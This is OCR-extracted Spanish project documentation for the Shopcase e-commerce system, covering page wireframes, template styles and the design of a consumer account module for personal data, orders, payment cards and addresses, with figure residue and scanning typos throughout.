B Informacitn general de Shopcase: Breve seccidn de informacién

I Registro de nueve usuario: Inlouye seccidn de informacian para el nuve usuarnio y &l vinculo para la pigina de registro

B Footer
] Login de usuario existente
NOTA: Las vistas borrador muestran cuatro pasos relevantes en la seccidn de registro del

cliente:

- Términos de servicio

- Informacién general de la empresa

- Informacién de pagos y envios

- Configuracion de cuenta administrativa
La forma para obtener estos datos cambid y estos pasos pasaron a formar parte del generador
del portal de venta (ver documentacion Luis Guzman). El generador se centra en obtener

informacién por medio de un solo componente que pide varios ingresos de texto.
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llustracion 122. Diagrama de cajas de los términos de servicio en el registro del cliente del

Modulo del Generador.

Clave

[ Header de pagina: Incluye menu, login de usuario existente, logo de Shopcase, fecha actual

I Columna de navegacion: Incluye vinculos a secciones de informci6n de la empresa (Contactos, Servicios, Historia, etc.)
Columna de publicidad: Inlcuye im&genes, anuncios, etc. que beneficien a la empresa

I Seccion Principal

[ Teérminos de Servicio: Incluye los términos de servicio, opciones de impresién, aceptar, no aceptar, ayuda, etc.

I Footer
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llustracion 123. Diagrama de cajas de la Informacion general de la empresa en el registro del

cliente del Médulo del Generador.

Clave

BB Header de pagina: Incluye mend, login de usuario existente, logo de Shopcase, fecha actual

B Columna de navegacion: Incluye vinculos a secciones de informcién de la empresa (Contactos, Servicios, Historia, etc)
Columna de publicidad: Inlcuye im&genes, anuncios, etc. que beneficien a la empresa

I Seccion Principal

[ Informacién General de la Empresa: Incluye textboxes para ingresar la informacién requerida

I Footer
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llustracion 124. Diagrama de cajas la informacién de pago y envio en el registro del cliente del

Modulo del Generador.

Clave

[ Header de pagina: Incluye mend, login de usuario existente, logo de Shopcase, fecha actual

Bl Columna de navegacién: Incluye vinculos a secciones de informcién de la empresa (Contactos, Servicios, Historia, etc.)
Columna de publicidad: Inlcuye im&genes, anuncios, etc. que beneficien a la empresa

I Seccién Principal

[ Informacién de pagos y envios: Incluye opciones de pagos e informacion acerca de estos

I Footer
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llustracion 125. Diagrama de cajas de la informacion de la cuenta en el registro del cliente del

Modulo del Generador.

Clave

[ Header de pagina: Incluye mend, login de usuario existente, logo de Shopcase, fecha actual

I Columna de navegacion: Incluye vinculos a secciones de informci6n de la empresa (Contactos, Servicios, Historia, etc.)
[ Columnade publicidad: Inlcuye imagenes, anuncios, etc. que beneficien a la empresa

I Seccién Principal

[ Configuracién cuenta administrador: Incluye textboxes para ingresar informacién de cuenta (usemame, password, etc.)

[ Footer
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llustracién 126. Diagrama de cajas de la vista principal del administrador del maédulo de

administracién de empresas.

Clave

Header de pagina: Incluye menu, login de usuario existente, logo de Shopcase, fecha actual
Espacio para informacién acerca de la categoria seleccionada (o cualquier tipo de informacién predeterminada)
Informacién actual de la emprsa

Seccién Principal

Panel para edicién de datos del consumidor o para ver hisotial de ordenes realizadas
Noticias, mensajes o alertas

Footer

Logo de empresa cliente

Logout

Searchbox de productos en la empresa

Datos a mostrar en la pagina de administrador (seleccionados por los clientes/empresas)
Mailbox

Despacho de ordenes
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llustracién 127. Diagrama de cajas de la vista general del administrador del Médulo de

Administracion de Empresas.

Header de pagina: Incluye meny, login de usuario existente, logo de Shopcase, fecha actual
Espacio para alertas o mensajes importantes de la pagina

.| Informacién actual de la emprsa

Seccién Principal

Panel principal de la pagina seleccionada. Este panel puede ser de configuracién de sitio, catlalogo, listado de
clientes, reportes, médulos de pagos, herramientas y proceso de ordenes.

Noticias, mensajes o alertas

Footer

Logo de empresa cliente

Logout

Panel secundario (opcional) segun la pagina de administrador

Datos a mostrar en la pagina de administrador (seleccionados por los clientes/empresas)
Mailbox

Despacho de ordenes

[T
]
H
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llustracién 128. Diagrama de cajas del registro del consumidor del Médulo de Portal de Venta.

Clave

[ Header de pagina: Incluye mend, login de usuario existente, logo de Shopcase, fecha actual
I Columna de categorias de producto: Incluye las categorfas y los vinculos a estas
Carrito de compras: Muestra algunos productos en e carrito y el vinculo a la pagina de este
B Seccion Principal

[ Panel de ingreso o despliegue de informacién segan el paso en el proceso de registro
B Marcador de pasos a través del proceso de registro

I Footer

] Logode empresa cliente

I Login de usuario existente

B Searchbox de productos en la empresa

I Anuncio publicitario 1 (Principal)

[ Vinaulo a phagina principal de la empresa

B Anuncio publicitario 2
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llustracion 129. Diagrama de cajas del portal de venta generado del Médulo de Portal de Venta.

Header de pagina: Incluye menu, login de usuario existente, logo de Shopcase, fecha actual
Columna de categorfas de producto: Incluye las categorfas y los vinculos a estas

Carrito de compras: Muestra algunos productos en el carrito y el vinculo a la pagina de este
Seccién Principal

Mostrador de productos: Incluye informcién e imagenes de productos relevantes

Registro de nuevo usuario: Inlcuye seccién de informacién para el nuvo usuario y el vinculo para la pagina de registro
Footer

Logo de empresa cliente

Login de usuario existente

Searchbox de productos en la empresa

Anuncio publicitario 1 (Principal)

Vinculo a pfagina principal de la empresa

Anuncio publicitario 2

Clave
E=
=R
£

=
|
[—;
[
]
==
|
=
=



226

llustracion 130. Diagrama de cajas de las categorias del Mddulo de Portal de Venta.

Clave

[ Header de pagina: Incluye mend, login de usuario existente, logo de Shopcase, fecha actual
- Columna de categorifas de producto: Incluye las categorfas y los vinculos a estas

Carrito de compras: Muestra algunos productos en el carrito y el vinculo a la pagina de este
Seccién Principal

Productos relevantes segun la categorfa

Productos relacionados dentro de la misma categoria

Footer

Logo de empresa cliente

Logout

[ Searchbox de productos en la empresa

I Anuncio publicitario 1 (Principal)

[ Vinculo a phagina principal de laempresa

I Anuncio publicitario 2




227

llustracion 131. Diagrama de cajas del checkout de un producto del Médulo de Portal de Venta.

Clave

Header de pagina: Incluye menu, login de usuario existente, logo de Shopcase, fecha actual
Columna de categorlas de producto: Incluye las categorfas y los vinculos a estas

Carrito de compras: Muestra algunos productos en el carrito y el vinculo a la pagina de este
Seccién Principal

Panel de Checkout: Confirmar/Modificar producto, tipo de envio, tipo de pago, confirmacién final
Marcador de pasos en el proceso de Checkout

Footer

Logo de empresa cliente

Logout

Searchbox de productos en la empresa

Anuncio publicitario 1 (Principal)

Vinculo a phagina principal de laempresa

Anuncio publicitario 2
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llustracion 132. Diagrama de cajas del carrito de compras del Médulo de Portal de Venta.

Clave

Header de pagina: Incluye meny, login de usuario existente, logo de Shopcase, fecha actual
Columna de categorfas de producto: Incluye las categorfas y los vinculos a estas

Carrito de compras: Muestra algunos productos en el carrito y el vinculo a la pagina de este
Seccién Principal

Productos dentro del carrito de compras

Més productos relacionados para seguir compra

Footer

Logo de empresa cliente

Logout

Searchbox de productos en la empresa

Anuncio publicitario 1 (Principal)

Vinculo a phagina principal de laempresa

Anuncio publicitario 2

1
:

IERERCRREN
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llustracion 133. Diagrama de cajas de la vista de la informacion de una empresa del Mdédulo de

Portal de Venta.

Clave

[ Header de pagina: Incluye mend, login de usuario existente, logo de Shopcase, fecha actual
I Columna de categorias de laempresa Incluye las categorias y los vinculos a estas

Carrito de compras: Muestra algunos productos en el carrito y el vinculo a la pagina de este
Seccién Principal

Informacién relevante de la empresa

Informacién secundaria de la empresa

Footer

|| Logode empresa cliente

Il Logout

[ Searchbox de productos en la empresa

I Anuncio publicitario 1 (Principal)

[ Vinculo a phagina principal de laempresa

I Anuncio publicitario 2

==Y
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llustracion 134. Diagrama de cajas del administrador del Moédulo de Administracion del

Consumidor.

Clave

Header de pagina: Incluye meny, login de usuario existente, logo de Shopcase, fecha actual
Columna de categorlas de producto: Incluye las categorfas y los vinculos a estas

Carrito de compras: Muestra algunos productos en el carrito y el vinculo a la pagina de este
Seccién Principal

Panel para edicién de datos del consumidor o para ver hisotial de ordenes realizadas
Informacién actual del consumidor

Footer

Logo de empresa cliente

Logout

Searchbox de productos en la empresa

Anuncio publicitario 1 (Principal)

Vinculo a phagina principal de laempresa

Anuncio publicitario 2

==Y
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D. Implementacidn

Después de analizar el prototipo, ubicar cada componente en base a las vistas borrador
creadas y contando con algunas de las mejores practicas de venta en linea se realizo el disefio

de las vistas de un sitio de prueba, manejando informacién de datos falsos.

Teniendo un sistema funcional de prueba con vistas aceptadas dentro de los pardmetros
discutidos se realizd el traslado del sistema (administrador del consumidor y el portal de venta
en linea) al nuevo estilo. A través de la modificacion de los archivos en su parte HTML, el estilo
CSS que utilizaba, importacidon de imdagenes, cambios en Javascript y reubicacidon de ciertos
componentes, se concluyé el proceso de implementacidon de la plantilla para el final del

semestre pasado.
Estas son vistas del producto de esta implementacion:

[lustracion 135. Plantilla con componentes y fondo que siguen el mismo estilo modificable

MiCuenta | Cerrar Sesién
Lenguaje: Moneda:
| Todas las categorias i#] (" Busaar ) et U5 Dollar B
home productos informacion login shoppingcart  registrar faq contactenos s

Todas las categorias FW Bienvenido, juan
bl Su carrito esta vacio.
b ipod rojo
05.00
ipod rojo ll ,[
&4 Siguenos en Twitter

[lustracion 136. Plantilla con componentes independientes del fondo y con cierta transparencia,

fondo modificable

Lenguaje: Moneda:

| Todas las categorias "v“} =3 S Dollar v
f—] 2} 1l
home productos informacion login simppingm egistrar aq contactenos rss

'_‘=, Debe ser un usuario

CATEGORIES Todas las categorias ™ registrado para comprar.

’l j Siguenos en Twitter
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E. Mejoras y optimizaciones de la plantilla

Por ultimo, se desarrollé una nueva plantilla que cumpliera de mejor forma con cada uno

de los requerimientos del modulo y se realizé el traslado del sistema.

El cliente tendrd acceso a cambiar el estilo de la plantilla a través del mddulo de
administrador del cliente (ver documentacién de Gustavo Marcucci) al tener acceso a los

siguientes estilos:

- Metal
- Zafiro
- Jade
- Rubi

[lustracion 137. Vista de la plantilla con estilo metal.

Datos Personales

o

Datos Personales
© Datos Porsonsies. o
Juan jorge
© Manejo de Ordenes oy
Corzo Marinez
© Dstos doPazo E:
ssssan

© Direccionss

Camblo de Contrasefia
Actualizar

Regrosar

llustracion 138. Vista de la plantilla con estilo zafiro.

Todas las categorias 1%

[

Datos Personales

s

Datos Personales
©) Datos Personales S

Janforge
© Maneiode Ordenes =
Corzo Martnez
Datos do
© 00 Teskono
ssssa
Direcsiones
g Diroceion
Gussemata

Cambio de Contrasefia

Actuslizar

Rogresar
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llustracion 139. Vista de la plantilla con estilo jade.

Todaslascategoras o8 |

Home Productos Informacién Clientes Contéictenos

Datos Personales

Usuare: mono@m 22
Administrador g e

Datos Personales
Datos Personales

© Nombre
an Jorge
) Manojo do Ordanes Apelido

Corzo Martinez
Datos de P:

() Datos ds Pago Tolefono

55553333

) Oirecciones

b4 Direccion

Cuatemala

Cambio de Contrasefia
Actualizar

Regresar

[lustracion 140. Vista de la plantilla con estilo rubi.

Todaslascatecoras oMM |

Home Productos Informacién Clientes. Contéictenos. Mi Cuenta

Datos Personales

Usuario: mono@mon: E
Administrador - e
Datos Personales
(L) Datos Personales Nombre.
Janjorge
Manejo de Grdens:
© Waneio do Ordenes P
Corzo Martinez

Datos de P
© el Tlofono
ssss3333
Direcciones
ot Direccion
Guatemala

Cambio de Contrasefia
Actuaiizar

Regresar

A continuacion se muestran unos ejemplos del cambio que se dio en la plantilla maestra:
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llustracién 141. Contraste del navegador para ingresar las diferentes secciones del médulo.

Datos Personales
Control de Ordenes
Datos de Pago

Agenda de Direcciones

Antes

Datos Personales
Manejo de Ordenes
. Datos de Pago

) Direcciones

Después

[lustracion 142. Contraste de los botones para ingresar al administrador y para cerrar la sesidn

Mi Cuenta | Cerrar Sesion

Antes

llustracion 143. Contraste de la seccidn de datos personales.

Mi Cuenta Logout

Después

Datos Personales
Nombre
juan
Apellido
Corzo
Teleforo
52019928
Direcoon

carreteral?

Cambio de Contrasera
Actualizar

Regresar

Antes

Ususnio: juanjocorzo@gmail.com =22

Usuaro: mono@mond com =

Datos Personales
Nombme

Juan jorge

Apeiico

Corzo Martinez

Telatono

Direccion

Guatemala

Cambio de Contrasefia
Actualizar

Regresar

Después
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llustracién 144. Contraste de la seccion de manejo de drdenes.

Buscar

TIPO DE FPACO TIPFO DE EXVIO ACCIONES
Dol rvpry Ver Detale

Ver Detale

Ver Detale

Ver Detale

Ver Detake

Ver Detakie

Ver Detalie

Ver Detate

Ver Detale

Despueés




X1Il. MODULO DE ADMINISTRADOR PARA EL CONSUMIDOR

A. Descripcién

El alcance del sistema expone cierta libertad al usuario consumidor (clientes de los clientes
del sistema) para realizar administrar y realizar modificaciones sobre su informacién, dentro de
la empresa a la que desea comprar. Los consumidores pueden tener acceso a modificar ciertos
datos a través de éste mdédulo. El médulo permite de forma simple que el consumidor gestione

informacién de cuatro areas diferentes:

- Datos personales
- Ordenes
- Datos de pago

- Direcciones

Los clientes tendran acceso a consultar cierta informacién de los consumidores, sin
embargo, se brindard privacidad a datos privados como numeros de tarjetas de crédito y

contrasefia.

Este mddulo se presentard con el estilo desarrollado en el médulo de Disefio de Plantillas

(ver mddulo Disefio de Plantillas), el cual mostrard una mejor apariencia al consumidor.

B. Analisis

1. Requerimientos. Para el médulo de Administrador para los Consumidores se
identificaron los siguientes requerimientos:
- El mdédulo generado para cada una de las cuentas de los consumidores debera ser
una herramienta simple y facil de utilizar.
- Debe mostrar al consumidor un icono representativo del servicio por el cual se ha
autenticado en el sistema. Los servicios pueden ser:

o Facebook

o Google
o Twitter
o Blogger
o Yahoo

236
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o Wordpress

o Shopcase (en el caso que se haya autenticado con una cuenta del sistema)

Debe mostrar notificaciones y etiquetas que guien al usuario durante la interaccién

con el médulo.

Debe mostrar y permitir la modificacién de los siguientes datos:

o Datos personales:

Nombre (Editable)

Apellido (Editable)

Teléfono (Editable)

Direccién (Editable)

Contrasenia (Editable, la cual requiere que ingrese la contrasefia

antigua y dos veces la nueva contrasefia para verificar)

o Ordenes (para cada orden realizada):

Numero de orden (Sdlo lectura)
Fecha (Sdlo lectura)
Estado (Editable a través del detalle de la orden)
Total (Sdlo lectura)
Tipo de pago (Sdlo lectura)
Tipo de envio (Sélo lectura)
Ver detalles
e Datos generales de la orden (Sdlo lectura)
e Estado (Editable media vez la orden se encuentre en estado

‘ENVIADA’ o0 ‘COMPLETADA’).

o Datos de pago (Tarjetas de crédito registradas y sus direcciones asociadas)

Nombre en tarjeta (Sélo lectura)

Numero de la tarjeta (Sdlo lectura)

Mes de expiracion (Sélo lectura)

Afio de expiracién (Sélo lectura)

Tipo de tarjeta (Sdlo lectura)

Direccién de pago asociada (puede no estar definida)
e Nombre completo (editable)

e Direccidn (editable)
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e Ciudad (editable)

e Estado (editable)

e Cddigo postal (editable)
e Pais (editable)

e Teléfono (editable)

El consumidor puede borrar cada tarjeta de crédito registrada y puede registrar nuevas

tarjetas de crédito.

o Direcciones
= Nombre completo (editable)
= Direccidn (editable)
= Ciudad (editable)
= Estado (editable)
= CdAdigo postal (editable)
=  Pais (editable)

= Teléfono (editable)

El consumidor puede borrar cada direccién registrada y puede registrar nuevas direcciones.

2. Descripcion de usuario. Este médulo sera utilizado por los usuarios consumidores. Como
usuario consumidor se entiende un usuario cliente de los clientes directos del sistema
(empresas). Es decir, los usuarios consumidores forman parte del grupo de clientes indirectos
del sistema al encontrarse a un segundo nivel en la escala de clientes (ver llustracidn). Se
requiere que el usuario esté familiarizado con el uso de una computadora, uso de un navegador

de internet y conceptos de cuentas en algun sitio web.
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llustracién 145. Escala de los clientes del sistema

]
shop case

Clientes

FCo p@ ' “m

iiiiiij i
Ty jiiiiii

HARAARE  consumicores
LERRER L

3. Descripcién de datos. El mdédulo administrador para consumidores tiene interaccién con
las tablas de ‘consumers’, ‘addresses’, ‘creditcards’, ‘orders’, ‘countries’, ‘paymenttypes’,
‘shippingtypes’ y ‘loginservices’ de la siguiente forma:

- ‘consumers’: Es la tabla con la que mds interaccidn se tiene ya que se consulta
para obtener la informacién del consumidor. El identificador del consumidor se
obtiene de la COOKIE de la sesién y se compara con el campo ConsumerID de las
entradas en esta tabla.

- ‘addresses’: Esta tabla contiene los datos de todas la direcciones registradas por
los consumidores. Contiene un campo ConsumerlD que relaciona las direcciones
con los consumidores que las registraron.

- ‘creditcards’: Contiene los datos de todas la tarjetas de crédito registradas por
los consumidores. Contiene un campo AddressID para relacionar una direccién

con la tarjeta y un campo ConsumerlD que relaciona la tarjeta con el
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consumidor que la registro.
- ‘countries’: Tabla utilizada para obtener el pais del consumidor.
- ‘paymenttypes’: Se utiliza para obtener los datos de cada forma de pago.
- ‘shippingtypes’: Se utiliza para obtener los datos de cada forma de envio.
- ‘loginservices’: Contiene el nombre de cada servicio externo para ingresar al
sistema (Facebook, Yahoo, Google, etc.).
El modelo de cada tabla se encuentra detallado en la documentacién del Mdédulo de Base

de datos.

4. Diagramas UML

[lustracion 146. Diagrama de casos de uso del médulo Administrador para Consumidores.

[Médulo Administrader del Consumidor

<<extend>>
777777777777

-~ =<extend>>

-~

S . ~. Cambiar Teléfono
~ e

/ <<extend>> s <<extend>> -

N

IIlI

~.._  <<extend>>

Cambiar Nombre N N -
Cambiar Apellido

Cambiar Contrasefa

Manejar 6rdenes fff_"f'_Ude>> <<extend>>
= "7 Seleccionar orden
S =TT -~ =+ Verdetalles
e M T

Consumidor

- \ -
\SflﬂdUdE)) Y \‘<\<ex(end>> En caso de que la orden
. ' <<include>> Caneclar orden se encuentre en los estados
Manejar formas de pago ‘\_‘\ \\ IN PROGRESS' 0 'DONE'.
! T ———
:<<m(|ude>> e -
1 d Se puede filtrar por estado,
<<extend>> total y fecha
Seleccionar forma de pago Y- -----— Ver forma de pago

1 AN Tre.L . <<extend>>
| ~<extend>> =

1 T
<<extend>> ! N Editar forma de pago
r
| Borrar forma de pago
1
4
Agregar forma de pago Agregar direccion
<. _<<include>> <<extend>>

<<extend>>

Seleccionar direccion

<<extend>>

=7 <<extend>>"! e,
Manejar direcciones ! -
Editar direccion Borrar direccion
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[lustracion 147. Diagrama de casos de uso de la seccidn de datos personales del Médulo

Administrador para Consumidores.

[Médulo Administrador del Consumidod]

<<extend>>

@
A

Consumidaor

I
Cambiar Nombre

Cambiar Apellido

Cambiar Direccion

[lustracion 148. Diagrama de casos de uso de la seccién de manejo de érdenes del Médulo

Administrador para Consumidores.

Consumider

Se puede filtrar
por estado,
total y fecha

[Médulo Administrador del Consumidor]

Manejar érdenes ) - <<include>>
T~ "7 seleccionar orden
\\
N . —
N <<include>> .-
-

\

N -
. T
<<include>> *, L N

1

1

1

1

1

. 1 Ver detalles

_____________ Buscar ordenes 1
1

<<extend>>|

1

Caneclar orden

)
* Z<extend>>
.

se encuentre en los estados

En caso de que la orden
'IN PROGRESS' o 'DONE".




llustracién 149. Diagrama de casos de uso de la seccidén de datos de pago del Mddulo

Administrador para Consumidores.

@)

[Médulo Administrador del Consumidor]

Consumidor

Manejar formas de pago

<. _ <<include>>

.
<<extend>>
//
.

I3
L7 <<extend>> )

L <<extend>>

<<include>>

Seleccionar direccion

Editar forma de pago

[lustracién 150. Diagrama de casos de uso de la seccién de manejo de direcciones del Mdédulo

Consumidor

Administrador para Consumidores.

Médulo Administrador del Consumidor]

<<extend>>
Manejar direcciones

<<extend>>

Editar direccion

P e \

, | <<extend>>
- <<extend>>

Borrar dlreccmn
Agregar direccion

242
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[lustracion 151. Diagrama de estados de una orden en relacion al Mddulo de Administracidon del

Consumidor.

‘Diagrama de Estados de una orden‘

Consumidor agrega productos al carrito de compras

Consumidor realiza checkout  Empresa confirma la orden 5 entrega el producto

® \(m \m \( CDNFIRMADA] \( ENTREGADA]
] ) \ ;A )

Consumidor cancela la orden CANCELADA Consumidor canela la orden

i

C. Diseio

1. Funcionamiento del médulo. El médulo fue disefiado de tal forma que pudiera ser
accedido en cualquier momento por el usuario consumidor. Se reservé un espacio en las
plantillas dedicado al acceso a dicho médulo. Esta ubicacion se encuentra en la esquina superior
derecha. “Mi Cuenta” y “Logout” son las etiquetas de los botones para ingresar o salir del

maodulo (en caso de ya haber sido autenticado).

[lustracion 152. Ingreso al médulo de Administracidn del Consumidor

Mi Cuenta Logout

2. Secciones del médulo. Después de ingresar al médulo se ofrecen cuatro secciones
principales para manejar: Datos Personales, Control de Ordenes, Datos de Pago y Agenda

de Direcciones.
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llustracién 153. Secciones para manejar dentro del médulo.

Administrador

Datos parsonales
Manejo de Srdenes
Datos de pago

) Direccionas
Se mostrard en todo momento el nombre del usuario y el servicio que esta utilizando para
ingresar al sistema. Estos servicios permiten al usuario ingresar al sistema utilizando cuentas de

redes populares de Internet como Facebook, Twitter, Blogger, Gmail, Wordpress o Yahoo.

llustracién 154. Usuario identificado utilizando datos de una cuenta en Facebook

-

Usuario: mono@mono.com =

a. Datos de pago. Los datos que el consumidor puede modificar son: Nombre, apellido,

teléfono, direccion y contrasenfia.

[lustracién 155. Seccidn de datos personales.

Datos Personales

Nombre
Juan Jarge

Apelido
Corzo Martinez

Telefono
55553333

Direccion
Guatemala

Cambio de Contrasefia
Actualizar

Regresar
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b. Control de drdenes. Se realizé una tabla con sus campos sorteables y la opcién de
visualizar cada orden en detalle. También se incluyd un buscador respecto a ciertos
campos, que ayudaria al control de esta seccion. Por Ultimo, se ofrece la opcidon de cancelar

cada orden (a menos que esta ya esté cancelada, enviada o entregada) en su vista detallada.

llustracién 156. Despliegue de érdenes realizadas por el consumidor

(85— Buscar
Tipo de Pago -~ Tipo de Envio -
o 2 2010-10-16 CANCELLED Q1020 Tarjeta de Credito FedEx Ver Detalle
o 2% 2010-10-17 CANCELLED Q3o Tarjeta de Credito FedEx Ver Detalle
o 2010-10-24 DONE Qa0 Tarjeta de Credito FedEx Ver Detalle
o 2010-10-24 DONE Q8o Tarjeta de Credito Cargo Express Ver Detalle
o 0 2010-10-24 DONE Q1620 Tarjeta de Cregito FedEx Ver Detalle
o 2010-10-24 DONE Qg0 Tarjeta de Credito FedEx Ver Detalle
o | 2 2010-10-24 DONE Q210 Tarjeta de Credito Cargo Express Ver Detalle
o | 2010-10-24 DONE Q360 Tarjeta de Credito FedEx Ver Detalle
[N 2010-10-24 DONE Q120 Tarjeta de Cregito FedEx Ver Detalle
Regresar

La busqueda de esta seccién realiza consultas a la base de datos para encontrar palabras
gue contengan los caracteres ingresados. Es posible realizar una busqueda sobre el estado,

numero de orden, fecha, total, tipo de pago y tipo de envio.

Para la vista detallada de cada orden se muestran los datos segln la siguiente llustracion.

Ilustracién 157. Vista detallada de una orden

Mimero de Orden: 28

Fecha de Creacisn: 2010-10-24
Tipo deé envio: FedEx (1-2 dias hdbles)

Tipo do Paga: Tareta de Cridto
* Fina Colada

Cardsdad 3

Q3000

Bubteeal: Cro0.00

Cancalar Orden

Regresar
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La opcion de cancelar la orden se muestra disponible en caso de ser una orden en estado
de ‘completada’ o ‘en progreso’. En caso de cancelar una orden con estado ‘en progreso’, se

eliminard y no dejara registro de su existencia.

c. Datos de pago. Este médulo se desarrollé de forma que se mostraran todas las
tarjetas de crédito registradas por un usuario. Tomando en cuenta que podria existir
una gran cantidad de tarjetas, se utilizé jQuery para desplegar solamente el nombre, los Ultimos
cuatro digitos y el tipo de la tarjeta de crédito, y que esta informacidon se pudiera expandir para

mostrar los datos detallados.

llustracion 158. Vista de los datos de una tarjeta de crédito

VISA. | 3 3000 XXX 4242 | Juan Jorge Corzo

Tipo: VISA

NUMEro: XXX X0 XXXX 4242
Nombre en Tarjeta: Juan Jorge Corzo
Mes de Expliracién: 1

Afio de Expliracién: 2010

Direccién de Pago:

- Nombre Completo: Luis Fernando Guzman
- Direccién: San Cristobal

- Ciudad: Guatemala

- Estado: Guatemala

- Caodigo Postal: 01010

- Pals! Guatemala
- Teléfono: 55550000

Editar

Borrar

Agregar Nueva Tarjeta de Crédito

Para agregar una nueva tarjeta se le piden al usuario los campos segun la siguiente

[lustracion.
[lustracion 159. Vista para agregar una nueva tarjeta de crédito.

Datos de la Tarjeta

Nombre en Tarjeta

Tipo de Tarjela
| wisa 3

Numero de Tarjeta (Sin guiones ni espacios)
Mes de Expiracién

1549
Afio de Expiracién

[ 2010 &

Numero CVC (si aplica)

Seleccionar Direccién
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Utilizando herramientas de programacion de jQuery se ofrecen todas las direcciones que
existen en la agenda de direcciones, para que el consumidor pueda asignar alguna a la nueva
tarjeta de crédito que desea agregar. Sin actualizar la pagina, es posible también agregar una

nueva direccidn (que no se encuentre en la agenda) y ser asignada a la tarjeta.

d. Agenda de Direcciones. La agenda de direcciones se desarrollé siguiendo el mismo
concepto de la seccién de datos de pago. Los datos que se muestran al principio

son nombre y direccion. Al expandirse estas entradas se encuentran todos los datos en detalle.

[lustracion 160. Vista de la agenda de direcciones

Juan Jorge Corzo | Carretera al Salvador

Juan Jorge Corzo

Direccidn: Carretera al Salvador
Municipio: Guatemala
Departamento: Guatemala
Cddigo Postal:

Pais: Guatemala

Teléfono: 555533333

Editar

Borrar

Agregar Nueva Direccién

Como se menciond anteriormente, las direcciones que no pertenecen a alguna categoria en
especifico (direcciones de pago o direcciones de envio), se definen como simples direcciones y
posteriormente, al agregar una nueva tarjeta de crédito, éstas se muestran como opciones para

ser asignadas a dicha tarjeta.

D. Descripcidn técnica

El administrador para los consumidores se compone principalmente por los siguientes

archivos de vista:

e consumer_admin.html.php (invocado por el archivo controlador consumer_admin.php)
o Vista maestra que muestra la mayoria de componentes del administrador.

e edit_info.html.php (invocado por el archivo controlador edit_info.php)
o Vista para modificar la informacion de direcciones y tarjetas de crédito.

e new_credicard.html.php (invocado por el archivo controlador new_creditcard.php)
o Vista para registrar una nueva tarjeta de crédito en el sistema.

e new_address.html.php (invocado por el archivo controlador new_address.php)



248

o Vista para registrar una nueva direccién en el sistema.
e order_details.html.php (invocado por el archivo controlador order_details.php)
o Vista para ver los detalles de una orden seleccionada.
Estos archivos utilizan cierta ldgica escrita en PHP que permite el despliegue de algunos

componentes. Las variables principales que fueron utilizadas en estas vistas son:

- dbObject: Variable utilizada para interactuar con la base de datos.
- refer: Almacena el nombre de un archivo al que se redireccionara la vista.
- show: Almacena un identificador para restringir el despliegue de la informacién.
- updated: Variable utilizada para desplegar mensajes en el administrador.
- title: Almacena un identificador para desplegar el titulo del moédulo (“Datos de
Pago”, “Datos Personales”, etc.).
- busqueda: Almacena el filtro para la busqueda de érdenes.
Se cuenta con una clase principal “ConsumerAdministrator” ubicada en el archivo

ConsumerAdministrator.php. La clase contiene los siguientes métodos:

- __construct(Entrada: Ninguna; Salida: Ninguna): Obtiene el niumero identificador
del consumidor desde la COOKIE que se encuentre activa en el explorador, y lo
almacena. Crea un objeto DBManager (objeto por el cual se interactia con la base
de datos) y lo inicializa.

- setConsumerData(Entrada: Ninguna; Salida: Ninguna): Realiza una consulta a la
base de datos (por medio del DBManager) para obtener toda la informacién del
consumidor. Esto lo hace a través del identificador almacenado en el método
__construct(). Almacena los siguientes datos:

o Nombre

o Apellido

o Teléfono

o Direccidn

o Correo Electrénico (Email)
o ldentificador del pais

o ldentificador de la sesién
o ldentificador del cliente

o Estado
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o ldentificador externo
o ldentificador del servicio
De la informacién almacenada cabe mencionar que el identificador de la sesion es un token
Unico de la sesién actual. El identificador del cliente es el identificador del cliente directo de
Shopcase, es decir el identificador de la tienda en la que el consumidor estd comprando. El
estado proporciona una bandera para saber si el consumidor estd habilitado o deshabilitado (el
cliente lo podria deshabilitar por diferentes razones). El identificador externo es utilizado para
las cuentas relacionadas con redes externas (Facebook, Twitter, Yahoo, Blogger, Wordpress o
Google). El identificador del servicio almacena el identificador para cada una de estas redes

mencionadas.

- manageServices(Entrada: Ninguna; Salida: Ninguna): Obtiene el identificador del
servicio que estd en la sesién (Facebook, Twitter, etc.) y muestra una imagen
representativa de la red al lado del nombre del usuario.

- getEmail(Entrada: Ninguna; Salida: Correo Electrénico del Consumidor): Método de
encapsulacién que devuelve el valor tipo privado del correo electrénico del
consumidor.

- getFirstName(Entrada: Ninguna; Salida: Nombre del Consumidor): Método de
encapsulacién que devuelve el valor tipo privado del nombre del consumidor.

- getlastName (Entrada: Ninguna; Salida: Apellido del Consumidor): Método de
encapsulacién que devuelve el valor tipo privado del apellido del consumidor.

- getPhone(Entrada: Ninguna; Salida: Teléfono del Consumidor): Método de
encapsulacién que devuelve el valor tipo privado del teléfono del consumidor.

- getAddress(Entrada: Ninguna; Salida: Direccién del Consumidor): Método de
encapsulacién que devuelve el valor tipo privado de la direccién del consumidor.

- showMainPanel(Entrada: Ninguna; Salida: Ninguna): Muestra el contenido que deba
ir en el panel de bienvenida al consumidor.

- showPersonalData(Entrada: Ninguna; Salida: Ninguna): Muestra la informacion
personal que tiene almacenada el consumidor en la base de datos. También
muestra botones para modificar los datos.

- showOrders(Entrada: Ninguna; Salida: Ninguna): Muestra las 6rdenes que el
consumidor ha realizado en una tabla con un buscador con filtro.

- showDetailedOrders(Entrada: Ninguna; Salida: Ninguna): Muestra las drdenes con



250

sus detalles.

- showCreidtCards(Entrada: Ninguna; Salida: Ninguna): Muestra las tarjetas de crédito
que han sido registradas por el consumidor. Despliega botones para modificar Ia
informacidn de las tarjetas e incluso agregar una nueva.

- showAddressBook(Entrada: Ninguna; Salida: Ninguna): Muestra las direcciones que

el consumidor ha registrado en el sistema.

La clase “ConsumerAdministrator” también posee las siguientes variables privadas

(globales a la clase), todas en relacion al consumidor:

- consumerID: Almacena el identificador del consumidor obtenido de la COOKIE en
sesion.

- firstName: Nombre.

- lastName: Apellido.

- phone: Teléfono.

- address: Direccion.

- email: Correo Electronico.

- countrylID: Identificador del pais.

- sessionID: Token de la sesion.

- status: Estado habilitado o deshabilitado.

- externallD: Identificador externo para cuentas relacionadas a otras redes.

- servicelD: Identificador de la cuenta externa.

- dbObject: Objeto/Instancia de la clase DBManager.

El archivo consumer_admin.html.php es el archivo que mas relacién tiene con la clase

principal “ConsumerAdministrator”. Los demds archivos

E. Reporte de usabilidad

1. Titulo. Usabilidad del Mddulo de Administracion para el Consumidor del sistema

Shopcase.
2. Descripcién de ambiente de prueba

a. Hardware
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e Computadora MacBook Pro
e (Camara digital incrustada iSight

e Micréfono incrustado
b. Versién del sistema. N/A
